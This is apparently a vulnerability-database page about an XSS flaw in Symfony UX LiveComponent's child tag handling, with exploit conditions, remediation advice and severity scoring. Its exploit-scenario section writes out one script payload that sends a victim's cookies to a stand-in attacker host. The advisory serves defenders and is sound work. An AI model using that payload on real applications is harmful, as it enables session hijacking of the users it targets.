Skip to main content

Symfony UX LiveComponent CVE-2026-49210

| EUVDEUVD-2026-45210 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-19 https://github.com/symfony/ux GHSA-38x5-rcv4-xf7x
2.3
CVSS 4.0 · Vendor: https://github.com/symfony/ux
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker identifies CORS-permissive Live Component endpoint
  2. Delivery
    Craft JSON payload with malicious children[id].tag value
  3. Exploit
    Send re-render request with Accept: application/vnd.live-component+html header
  4. Execution
    Server interpolates unsanitized tag into HTML response
  5. Persist
    Victim browser injects response into DOM
  6. Impact
    Injected script executes in application origin context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to be able to send a request with the Accept: application/vnd.live-component+html header to the application's Live Component endpoint. In the default Symfony UX configuration, browsers cannot set this header cross-origin without a CORS preflight, so cross-site exploitation is blocked unless the application has explicitly configured CORS to permit this header from untrusted origins (e.g., Access-Control-Allow-Headers includes the live-component accept value for wildcard or untrusted origins). Exploitation is also possible if the attacker has achieved same-origin JavaScript execution through a separate vulnerability (same-origin pivot). Additionally, the targeted Live Component must include at least one child component - parent-only components are not affected. Limiting factors include: no direct exploitation from a remote unauthenticated attacker under default CORS posture; no exploitation of components without child component structure; and the child component must be re-rendered (not initial-render only) for the injection path to be triggered.

Impact

Real-world exploitability is meaningfully constrained by the default same-origin restriction: the Live Component endpoint requires the Accept: application/vnd.live-component+html header, which browsers cannot send cross-origin without a CORS preflight. This reduces the realistic attack surface to two scenarios - applications that have explicitly relaxed CORS to allow this header from untrusted origins, or attackers who have already achieved same-origin JavaScript execution via another vulnerability. No CVSS vector or score was published by NVD at time of analysis, so metric-level risk signals (attack complexity, privileges required) are independently assessed rather than vendor-confirmed. No EPSS data is available. No KEV listing exists. No public exploit code has been identified. The absence of these high-urgency signals, combined with the non-default CORS precondition, places this vulnerability at medium real-world priority - meaningful for affected deployments but not broadly auto-exploitable at internet scale.

Exploit ScenarioDerived

An attacker targeting an application with permissive CORS (allowing the Accept: application/vnd.live-component+html header cross-origin) crafts a malicious web page that causes a victim's browser to issue a Live Component re-render request with children[id].tag set to a payload such as li><script>document.location='https://attacker.example/steal?c='+document.cookie</script><li. The server interpolates this value unvalidated into the HTML response, which the Symfony UX JavaScript runtime injects into the victim's DOM, executing the script in the context of the target application's origin. No public exploit code exists, but the mechanism is straightforward and the commit diff includes comprehensive test payloads that map the full injection surface.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Cross-site scripting in symfony/ux-live-component allows network-accessible attackers to inject arbitrary HTML - including script tags - into re-rendered Live Component responses by supplying a malicious tag name via client-controlled JSON. Affected versions span composer/symfony/ux-live-component >= 2.8.0 < 2.36.0 and >= 3.0.0 < 3.1.0. Direct exploitation is constrained to applications with permissive CORS or same-origin pivot contexts; under default configuration the required Accept header provides partial protection that makes this a defense-in-depth gap rather than an immediately weaponizable internet-wide threat. No public exploit and no CISA KEV listing are confirmed at time of analysis.

RemediationAI

The primary fix is to upgrade symfony/ux-live-component to 2.36.0 (for 2.x installations) or 3.1.0 (for 3.x installations). The upstream patch is available at https://github.com/symfony/ux/commit/fbc5e9a1bda7e4556be21bb1d970f382760ed9a9 and has been forward-ported to both branches. If an immediate upgrade is not feasible, the most impactful compensating control is to audit and restrict your application's CORS policy: ensure the Accept: application/vnd.live-component+html header cannot be sent from untrusted origins without a preflight that your server will reject. This is the single configuration that elevates the vulnerability from a defense-in-depth gap to a directly exploitable issue. Additionally, enforcing Content-Security-Policy headers to block inline script execution will reduce the potential impact of any successful XSS injection. Note that CSP is a mitigating layer, not a fix - it does not remove the injection point. Full remediation requires the patch.

Affected VersionsENISA

ux 3.0.0, < 3.1.0
ux 2.8.0, < 2.36.0

Affected Packages

composer symfony/ux-live-component fix: 2.36.0, 3.1.0
euvd ux_2_8_0 fix: 2.36.0
euvd ux_3_0_0 fix: 3.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Symfony UX LiveComponent is a PHP/Twig framework extension that enables reactive, AJAX-driven UI components (composer package symfony/ux-live-component). During a partial re-render, the server processes a JSON payload from the client describing child component state - including a 'tag' field (children[id].tag) representing the HTML element name to wrap the child component. This value flowed from LiveComponentSubscriber through InterceptChildComponentRenderSubscriber into ChildComponentPartialRenderer::createHtml(), where it was interpolated directly into the HTML output as the tag name without sanitization or validation. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: user-supplied data was treated as trusted markup rather than content. The patch adds a strict allow-list regex (/\A[a-zA-Z][a-zA-Z0-9-]*+\z/) and raises a BadRequestHttpException on any non-conforming value, closing the injection point at the class boundary.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/symfony/ux) PRIMARY 2.3 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.7 MEDIUM

AV:N because the endpoint is network-accessible; AC:H because exploitation requires non-default CORS or a same-origin pivot; UI:R because a victim must trigger the component re-render; S:C and C:L/I:L reflect standard reflected-XSS scope change with session/data impact.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/symfony/ux).

CVSS VectorVendor: https://github.com/symfony/ux

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 17, 2026 - 17:22 NVD
2.3 (LOW)

DescriptionCVE.org

Description

Symfony\UX\LiveComponent\Util\ChildComponentPartialRenderer::createHtml() interpolates the $childTag argument directly into the HTML output as a tag name, without escaping or validation. The value originates from client-controlled JSON (children[id].tag) parsed by LiveComponentSubscriber and propagated through InterceptChildComponentRenderSubscriber, so an attacker who can reach the Live Component endpoint can inject arbitrary HTML, including <script> tags, on any re-render of a Live Component that contains at least one child component.

In the default configuration, the Live Component endpoint is gated by an Accept: application/vnd.live-component+html request-header check that cannot be set cross-origin without a CORS preflight, so the issue is primarily a defense-in-depth gap. It becomes directly exploitable on applications that have relaxed CORS to allow this header from untrusted origins, or that have been pivoted from another same-origin XSS.

Resolution

ChildComponentPartialRenderer now validates $childTag against a strict HTML tag-name regex before interpolating it, and rejects any value that doesn't match. Anything that wouldn't be a valid HTML tag is dropped before reaching the response.

The patch for this issue is available here for branch 2.x (and forward-ported to 3.x).

Credits

Symfony would like to thank Pascal Cescon for reporting the issue and Hugo Alliaume for providing the fix.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

12
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +12
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy